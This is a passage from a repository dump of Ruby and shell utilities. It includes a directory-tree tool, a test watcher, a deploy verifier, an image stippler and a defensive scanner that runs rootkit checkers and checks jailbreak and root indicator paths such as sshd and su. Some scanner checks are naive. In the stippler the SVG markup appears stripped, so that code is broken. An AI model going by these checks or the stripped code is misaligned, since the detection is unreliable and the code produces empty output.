new_prefix, depth + 1)\n    end\n  end\nend\n\nif __FILE__ == $PROGRAM_NAME\n  options = { max_depth: 4, summary: false, root: nil, focus: nil }\n\n  OptionParser.new do |opts|\n    opts.on(\"--max-depth=N\", Integer) { |n| options[:max_depth] = n }\n    opts.on(\"--summary\", \"Show directory breakdown\") { options[:summary] = true }\n    opts.on(\"--focus=WHAT\", \"Focus on a subdirectory (e.g. lib, MASTER/lib, data)\") { |w| options[:focus] = w }\n    opts.on(\"--master-lib\", \"Convenience: deep focused view of MASTER/lib (best for redesign work)\") do\n      options[:focus] = \"lib\"\n      options[:max_depth] = 7\n      options[:summary] = true\n    end\n    opts.on(\"--stages-hotspots\", \"Show small-file hotspots specifically in now/stages (KISS target)\") do\n      options[:root] = File.join(Dir.pwd, \"MASTER/lib/now/stages\")\n      options[:max_depth] = 1\n      options[:summary] = true\n    end\n    opts.on(\"--ground-policies\", \"Focus on ground/ policy files (common duplication area)\") do\n      options[:root] = File.join(Dir.pwd, \"MASTER/lib/ground\")\n      options[:max_depth] = 2\n      options[:summary] = true\n    end\n    opts.on(\"--redesign-audit\", \"Deep audit mode: highlight KISS/DENSITY problems (small files, fragmented dirs) using rules thresholds\") do\n      options[:max_depth] = 3\n      options[:summary] = true\n      # We'll enhance the summary logic below for this flag\n    end\n    opts.on(\"-h\", \"--help\") do\n      puts opts\n      puts \"\\nExamples:\"\n      puts \"  tree.rb MASTER --max-depth=5\"\n      puts \"  tree.rb --focus lib --max-depth=6 --summary\"\n      puts \"  tree.rb --master-lib          # best for working on the architecture\"\n      exit\n    end\n  end.parse!(ARGV)\n\n  # Determine root\n  if options[:root].nil?\n    if ARGV[0] &amp;&amp; !ARGV[0].start_with?(\"--\")\n      options[:root] = ARGV.shift\n    else\n      options[:root] = Dir.pwd\n    end\n  end\n\n  tree = ProjectTree.new(\n    root: options[:root],\n    max_depth: options[:max_depth],\n    summary: options[:summary]\n  )\n\n  # Simple focus mode (restricts walk root)\n  if options[:focus]\n    candidates = [\n      File.join(options[:root], options[:focus]),\n      File.join(options[:root], \"MASTER\", options[:focus])\n    ].uniq\n\n    focus_path = candidates.find { |p| Dir.exist?(p) }\n\n    if focus_path\n      puts \"=== Focused view: #{focus_path.sub(ENV['HOME'] || '', '~')} ===\"\n      puts\n      focused_tree = ProjectTree.new(\n        root: focus_path,\n        max_depth: options[:max_depth],\n        summary: options[:summary]\n      )\n      focused_tree.run\n      exit\n    else\n      warn \"Focus path not found in: #{candidates.join(', ')}\"\n    end\n  end\n\n  tree.run\nend\n```\n\n## `sh/tools/vulcheck.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\n# **vulcheck.rb**\n#\n# This script performs security checks for macOS, iOS, and Android devices. It detects rootkits, jailbreaks, unauthorized access, and active intrusions. It automates updates for tools like `chkrootkit` and `rkhunter`, and logs results for review.\n\nrequire 'optparse'\nrequire 'fileutils'\nrequire 'open3'\n\nclass VulCheck\n  MACPORTS_PACKAGES = %w[chkrootkit rkhunter aide].freeze\n  # `aide` is included for file integrity checking, complementing `chkrootkit` and `rkhunter`.\n  LOG_FILE = 'vulcheck_log.txt'\n\n  # Ensure script is run with sudo\n  def self.ensure_sudo\n    return if Process.uid.zero?\n\n    log('Root privileges are necessary for installing tools and scanning system files.')\n    log_and_exit('This script must be run with sudo privileges.')\n  end\n\n  # Determine the system type: macOS, iOS, or Android\n  def self.check_system\n    if RUBY_PLATFORM.include?('darwin')\n      if File.exist?('/Applications/Utilities/Terminal.app') # macOS\n        return 'macos'\n      elsif File.exist?('/System/Applications/Feedback.app') # iOS\n        return 'ios'\n      end\n    elsif RUBY_PLATFORM.include?('android')\n      return 'android'\n    end\n    raise 'Unsupported OS'\n  end\n\n  # Ensure MacPorts is installed (for macOS)\n  def self.ensure_macports\n    return if system('which port &gt; /dev/null 2&gt;&amp;1')\n\n    log_and_exit('MacPorts not found. Please install MacPorts first: https://www.macports.org/')\n  end\n\n  # Install required tools using MacPorts (for macOS)\n  def self.install_dependencies\n    log('Installing required tools using MacPorts...')\n    MACPORTS_PACKAGES.each do |pkg|\n      unless system(\"port installed #{pkg} &gt; /dev/null 2&gt;&amp;1\")\n        log(\"Installing #{pkg}...\")\n        system(\"sudo port install #{pkg}\") || raise(\"Failed to install #{pkg}.\")\n      end\n    end\n    log('All required tools are installed.')\n  end\n\n  # Update rootkit detection tools for macOS\n  def self.update_tools\n    log('Updating rootkit detection tools...')\n    system('sudo rkhunter --update') || log('Failed to update rkhunter. Regular updates ensure detection rules remain effective.')\n    system('sudo chkrootkit --update') || log('Failed to update chkrootkit.')\n    log('Tools updated successfully.')\n  end\n\n  # Run security scans on macOS\n  def self.run_macos_scans\n    log('Running security scans for macOS...')\n    MACPORTS_PACKAGES.each do |tool|\n      command = case tool\n                when 'chkrootkit' then tool\n                when 'rkhunter' then \"#{tool} --check\"\n                when 'aide' then \"#{tool} --check\"\n                else next\n                end\n      log(\"Executing: #{command}\")\n      system(command) || log(\"Error: #{tool} scan encountered an issue.\")\n    end\n  end\n\n  # Detect active intrusions on macOS\n  def self.detect_active_intrusions\n    log('Checking for active intrusions on macOS...')\n    log('Active network connections:')\n    system('netstat -an | grep ESTABLISHED')\n    log('Review the above connections for unusual remote addresses or unauthorized access.')\n    log('Suspicious running processes:')\n    system('ps aux | grep -i suspicious')\n  end\n\n  # Detect jailbreak indicators on iOS\n  def self.check_ios_jailbreak\n    log('Checking for jailbreak indicators on iOS...')\n    jailbreak_indicators = [\n      '/Applications/Cydia.app',\n      '/usr/sbin/sshd',\n      '/bin/bash',\n      '/private/var/stash',\n      '/usr/libexec/ssh-keysign'\n    ]\n\n    jailbreak_indicators.each do |path|\n      log(\"Warning: Jailbreak indicator found at #{path}\") if File.exist?(path)\n    end\n    log('Finished checking for jailbreak indicators on iOS.')\n  end\n\n  # Detect root access on Android\n  def self.check_android_root\n    log('Checking for root access on Android...')\n    root_indicators = [\n      '/system/xbin/su',\n      '/system/bin/su',\n      '/data/data/com.noshufou.android.su',\n      '/sbin/su'\n    ]\n\n    root_indicators.each do |path|\n      log(\"Warning: Root access indicator found at #{path}\") if File.exist?(path)\n    end\n\n    log('Active network connections:')\n    system('netstat -an | grep ESTABLISHED')\n\n    if system('which su &gt; /dev/null 2&gt;&amp;1')\n      log('The presence of `su` may indicate the device is rooted. Verify the need for this binary.')\n      log('Warning: Device may be rooted (su command found).')\n    end\n    log('Finished checking for root access on Android.')\n  end\n\n  # Log messages to console and file\n  def self.log(message)\n    puts message\n    File.open(LOG_FILE, 'a') { |file| file.puts(\"#{Time.now}: #{message}\") }\n  end\n\n  # Log an error and exit\n  def self.log_and_exit(message)\n    log(message)\n    exit(1)\n  end\n\n  # Execute the script based on detected OS\n  def self.execute\n    ensure_sudo\n    system_type = check_system\n    case system_type\n    when 'macos'\n      log('macOS detected.')\n      ensure_macports\n      install_dependencies\n      update_tools\n      detect_active_intrusions\n      run_macos_scans\n    when 'ios'\n      log('iOS detected.')\n      check_ios_jailbreak\n    when 'android'\n      log('Android detected.')\n      check_android_root\n    else\n      log_and_exit('Unsupported system type detected.')\n    end\n  end\nend\n\n# Parse command-line options\noptions = {}\n\nOptionParser.new do |opts|\n  opts.banner = 'Usage: vulcheck.rb [options]'\n\n  opts.on('--macos', 'Run the script for macOS') { options[:macos] = true }\n  opts.on('--ios', 'Run the script for iOS') { options[:ios] = true }\n  opts.on('--android', 'Run the script for Android') { options[:android] = true }\n  opts.on_tail('-h', '--help', 'Show this message') do\n    puts opts\n    exit\n  end\nend.parse!\n\nif options[:macos] || options[:ios] || options[:android]\n  VulCheck.execute\nelse\n  VulCheck.log_and_exit('Error: Please specify either --macos, --ios, or --android.')\nend\n```\n\n## `sh/tree.sh`\n```bash\n#!/bin/sh\nset -eu\n\n# DEPLOY/sh/tree.sh\n#\n# Thin portable wrapper around the constitution-aware tree generator.\n# Provides the \"full overview\" requested during MASTER KISS/DRY redesign work.\n# Works in both zsh and plain sh/linux environments.\n#\n# Usage:\n#   ./tree.sh [--max-depth=4] [--summary]\n#   ./tree.sh /some/other/root --max-depth=3\n#\n# Created on demand per explicit user request for overview before\n# implementing major architectural simplifications.\n\nSCRIPT_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" &amp;&amp; pwd)\nRUBY_TREE=\"$SCRIPT_DIR/tools/tree.rb\"\n\nROOT=\"/root/pub4\"\n\n# If the first argument looks like a directory (or .), treat it as root\nif [ $# -gt 0 ]; then\n  case \"$1\" in\n    --*|-*) ;;\n    *)\n      if [ -d \"$1\" ] 2&gt;/dev/null || [ \"$1\" = \".\" ]; then\n        ROOT=\"$1\"\n        shift\n      fi\n      ;;\n  esac\nfi\n\nif [ ! -f \"$RUBY_TREE\" ]; then\n  echo \"tree.rb not found at $RUBY_TREE\" &gt;&amp;2\n  exit 1\nfi\n\nif command -v ruby34 &gt;/dev/null 2&gt;&amp;1; then\n  RUBY=ruby34\nelse\n  RUBY=ruby\nfi\n\nexec \"$RUBY\" \"$RUBY_TREE\" \"$ROOT\" \"$@\"\n\n```\n\n## `sh/watch_tests.sh`\n```bash\n#!/usr/bin/env zsh\n# watch_tests.sh \u2014 auto-run MASTER tests on lib/ or test/ file change.\n# Uses zsh-native patterns (ZSH_NATIVE_PATTERNS.md): no grep/awk/sed forks.\n#\n# Usage: zsh sh/watch_tests.sh [test_file]\n# Default test: test/test_agent.rb\n\nset -euo pipefail\n\nMASTER_ROOT=${0:a:h:h}/MASTER\nTEST_FILE=${1:-test/test_agent.rb}\nWATCH_DIRS=( lib test )\nDELAY=2\nLAST_RUN=0\n\ncd \"$MASTER_ROOT\"\nprint \"watch_tests: watching ${(j:, :)WATCH_DIRS} \u2192 $TEST_FILE\"\nprint \"watch_tests: press Ctrl-C to stop\"\nprint \"\"\n\nrun_tests() {\n  print \"\\n$(date '+%H:%M:%S') running $TEST_FILE\"\n  bundle exec ruby \"$TEST_FILE\" 2&gt;&amp;1\n  print \"\"\n}\n\n# Run once immediately\nrun_tests\n\nwhile true; do\n  sleep \"$DELAY\"\n\n  NOW=$(date +%s)\n\n  # zsh-native: find .rb files modified in last DELAY+1 seconds\n  # Glob qualifier: N=nullglob, m=modification, s=seconds, -N = less than N seconds ago\n  typeset -a changed\n  changed=()\n  for dir in $WATCH_DIRS; do\n    [[ -d $dir ]] || continue\n    # (Nms-3) = modified less than 3 seconds ago, N = no error if empty\n    changed+=( $dir/**/*.rb(Nms-3) )\n  done\n\n  # zsh-native unique (no sort|uniq fork)\n  typeset -aU unique_changed=( $changed )\n\n  if (( ${#unique_changed} &gt; 0 )); then\n    # zsh-native: strip MASTER_ROOT prefix for display\n    typeset -a display\n    display=( ${unique_changed//$MASTER_ROOT\\//} )\n    print \"changed: ${(j:, :)display}\"\n    run_tests\n  fi\ndone\n```\n\n## `stipple.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\n# Stipple - density-weighted PNG to SVG portrait stippler.\n#\n# Usage: ruby multimedia/stipple.rb --in face.png --out face.svg --dots 8000\n\nrequire \"optparse\"\n\nbegin\n  require \"chunky_png\"\nrescue LoadError\n  warn \"stipple: missing chunky_png \u2014 gem install chunky_png\"\n  exit 1\nend\n\nDEFAULT_IN   = File.join(__dir__, \"dilla\", \"face.png\")\nDEFAULT_DOTS = 8000\nDEFAULT_SIZE = 0.6\nDEFAULT_BG   = \"#ffffff\"\nDEFAULT_FG   = \"#000000\"\nLUMA         = [0.299, 0.587, 0.114].freeze\nLUMA_MAX     = 255.0\nEPSILON      = 1e-9\n\nopts = { input: DEFAULT_IN, output: nil, dots: DEFAULT_DOTS, dot_size: DEFAULT_SIZE,\n         width: nil, invert: false, bg: DEFAULT_BG, fg: DEFAULT_FG }\n\nOptionParser.new do |o|\n  o.banner = \"Usage: ruby multimedia/stipple.rb [options]\"\n  o.on(\"--in PATH\",        \"Input PNG (default: #{DEFAULT_IN})\")     { |v| opts[:input]    = v }\n  o.on(\"--out PATH\",       \"Output SVG (default: input with .svg)\")  { |v| opts[:output]   = v }\n  o.on(\"--dots N\", Integer, \"Dot count (default: #{DEFAULT_DOTS})\")  { |v| opts[:dots]     = v }\n  o.on(\"--dot-size F\", Float, \"Dot radius (default: #{DEFAULT_SIZE})\") { |v| opts[:dot_size] = v }\n  o.on(\"--width W\", Integer, \"Output width (default: input width)\")  { |v| opts[:width]    = v }\n  o.on(\"--invert\",         \"Light dots on dark image\")               { opts[:invert] = true }\n  o.on(\"--bg COLOR\",       \"Background (default: #{DEFAULT_BG})\")    { |v| opts[:bg] = v }\n  o.on(\"--fg COLOR\",       \"Dot color (default: #{DEFAULT_FG})\")     { |v| opts[:fg] = v }\n  o.on(\"-h\", \"--help\") { puts o; exit }\nend.parse!\n\nabort \"stipple: input not found: #{opts[:input]}\" unless File.exist?(opts[:input])\nopts[:output] ||= opts[:input].sub(/\\.png\\z/i, \".svg\")\n\nt0 = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\nimg = begin\n  ChunkyPNG::Image.from_file(opts[:input])\nrescue StandardError =&gt; e\n  abort \"stipple: read failed: #{e.message}\"\nend\n\niw, ih = img.width, img.height\now = opts[:width] || iw\nscale = ow.to_f / iw\noh = (ih * scale).round\n\ncdf = Array.new(iw * ih)\nacc = 0.0\nih.times do |y|\n  row = y * iw\n  iw.times do |x|\n    px = img[x, y]\n    luma = (LUMA[0] * ChunkyPNG::Color.r(px) + LUMA[1] * ChunkyPNG::Color.g(px) + LUMA[2] * ChunkyPNG::Color.b(px)) / LUMA_MAX\n    w = opts[:invert] ? luma : (1.0 - luma)\n    acc += w\n    cdf[row + x] = acc\n  end\nend\n\nabort \"stipple: image has no contrast\" if acc &lt; EPSILON\n\nrng = Random.new\ncircles = String.new(capacity: opts[:dots] * 48)\nopts[:dots].times do\n  idx = cdf.bsearch_index { |v| v &gt;= rng.rand * acc } || (cdf.size - 1)\n  y, x = idx.divmod(iw)\n  cx = ((x + rng.rand) * scale).round(2)\n  cy = ((y + rng.rand) * scale).round(2)\n  circles &lt;&lt; %(\\n)\nend\n\nsvg = &lt;&lt;~SVG\n  \n  \n  \n  #{circles}\n  \nSVG\n\nbegin\n  File.write(opts[:output], svg)\nrescue StandardError =&gt; e\n  abort \"stipple: write failed: #{e.message}\"\nend\n\nms = ((Process.clock_gettime(Process::CLOCK_MONOTONIC) - t0) * 1000).round\nputs \"stipple: #{opts[:dots]} dots \u2192 #{opts[:output]} (#{ms}ms)\"\n```\n\n## `verify_deploy_identity.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\n# Verifies low-level DEPLOY identity hygiene without requiring app dependencies.\n# Run from the repository root:\n#   ruby DEPLOY/verify_deploy_identity.rb\n\nrequire \"yaml\"\n\nROOT = File.expand_path(\"..\", __dir__)\nRAILS_ROOT = File.join(ROOT, \"DEPLOY\", \"rails\")\nAPPS_FILE = File.join(RAILS_ROOT, \"apps.yml\")\nmetadata = YAML.load_file(APPS_FILE).fetch(\"apps\")\n\nfailures = []\nports = Hash.new { |h, k| h[k] = [] }\ndomains = Hash.new { |h, k| h[k] = [] }\n\nmetadata.each do |app, expected|\n  script = File.join(ROOT, expected.fetch(\"deploy_script\"))\n  app_path = File.join(ROOT, expected.fetch(\"app_path\"))\n  readme = File.join(RAILS_ROOT, app, \"README.md\")\n  gemfile = File.join(app_path, \"Gemfile\")\n  routes = File.join(app_path, \"config\", \"routes.rb\")\n\n  ports[expected.fetch(\"port\")] &lt;&lt; app\n  domains[expected.fetch(\"domain\")] &lt;&lt; app\n\n  failures &lt;&lt; \"missing app directory for #{app}: #{app_path}\" unless Dir.exist?(app_path)\n  failures &lt;&lt; \"missing README for #{app}: #{readme}\" unless File.file?(readme)\n  failures &lt;&lt; \"missing Gemfile for #{app}: #{gemfile}\" unless File.file?(gemfile)\n  failures &lt;&lt; \"missing routes for #{app}: #{routes}\" unless File.file?(routes)\n\n  unless File.file?(script)\n    failures &lt;&lt; \"missing deploy script for #{app}: #{script}\"\n    next\n  end\n\n  content = File.read(script)\n  checks = {\n    \"set -euo pipefail\" =&gt; \"missing strict mode for #{app}\",\n    \"APP_NAME=#{app}\" =&gt; \"wrong APP_NAME for #{app}\",\n    \"APP_DOMAIN=#{expected.fetch(\"domain\")}\" =&gt; \"wrong APP_DOMAIN for #{app}\",\n    \"APP_PORT=#{expected.fetch(\"port\")}\" =&gt; \"wrong APP_PORT for #{app}\",\n    \"SCRIPT_DIR=${0:a:h}\" =&gt; \"missing zsh script dir resolution for #{app}\",\n    \"SRC_DIR=${SCRIPT_DIR}/app\" =&gt; \"missing source dir for #{app}\",\n    \"SHARED_BUNDLE_CACHE\" =&gt; \"missing shared bundle cache for #{app}\",\n    'doas mkdir -p \"${APP_DIR}/.bundle\"' =&gt; \"missing app .bundle mkdir for #{app}\",\n    \"bundle config set --local deployment true\" =&gt; \"missing modern bundler deployment config for #{app}\",\n    \"bundle config set --local without 'development test'\" =&gt; \"missing modern bundler without config for #{app}\",\n    \"install_rcd \\\"$APP_NAME\\\" \\\"$APP_DIR\\\" \\\"$APP_PORT\\\" \\\"$APP_NAME\\\"\" =&gt; \"missing standard rc.d install call for #{app}\",\n    \"relayd_add_relay \\\"$APP_DOMAIN\\\" \\\"$APP_PORT\\\"\" =&gt; \"missing standard relay call for #{app}\"\n  }\n\n  checks.each do |needle, message|\n    failures &lt;&lt; message unless content.include?(needle)\n  end\n\n  failures &lt;&lt; \"template placeholder left in #{app}\" if content.include?(\"%APP_NAME%\") || content.include?(\"%\")\n  failures &lt;&lt; \"deprecated bundler flags left in #{app}\" if content.include?(\"bundle install --deployment --without\")\n  failures &lt;&lt; \"hard-coded amber bundle coupling left in #{app}\" if content.include?(\"/home/amber/.bundle/gems\") &amp;&amp; app != \"amber\"\n  failures &lt;&lt; \"unquoted cp source in #{app}\" if content.include?(\"cp -R ${SRC_DIR}\")\n\n  if File.file?(readme)\n    readme_content = File.read(readme)\n    failures &lt;&lt; \"README missing deploy script path for #{app}\" unless readme_content.include?(expected.fetch(\"deploy_script\")) || readme_content.include?(\"#{app}.sh\")\n  end\n\n  if File.file?(gemfile) &amp;&amp; File.file?(readme)\n    gemfile_content = File.read(gemfile)\n    readme_content = File.read(readme)\n    if gemfile_content.include?('gem \"sqlite3\"') &amp;&amp; readme_content.match?(/Rails 8, PostgreSQL(,|\\.)/)\n      failures &lt;&lt; \"README claims PostgreSQL as current stack while Gemfile uses SQLite for #{app}\"\n    end\n  end\n\n  if File.file?(routes)\n    routes_content = File.read(routes)\n    failures &lt;&lt; \"missing health route for #{app}\" unless routes_content.include?(\"rails/health#show\")\n  end\nend\n\nports.each do |port, apps|\n  failures &lt;&lt; \"port collision #{port}: #{apps.join(', ')}\" if apps.size &gt; 1\nend\n\ndomains.each do |domain, apps|\n  failures &lt;&lt; \"domain collision #{domain}: #{apps.join(', ')}\" if apps.size &gt; 1\nend\n\nif failures.empty?\n  puts \"DEPLOY identity verification passed for #{metadata.keys.join(', ')}\"\nelse\n  warn \"DEPLOY identity verification failed:\"\n  failures.each { |failure| warn \"- #{failure}\" }\n  exit 1\nend\n```\n\nfiles: 1059 / lines: 44205", "creation_timestamp": "2026-06-03T04:17:25.000000Z"}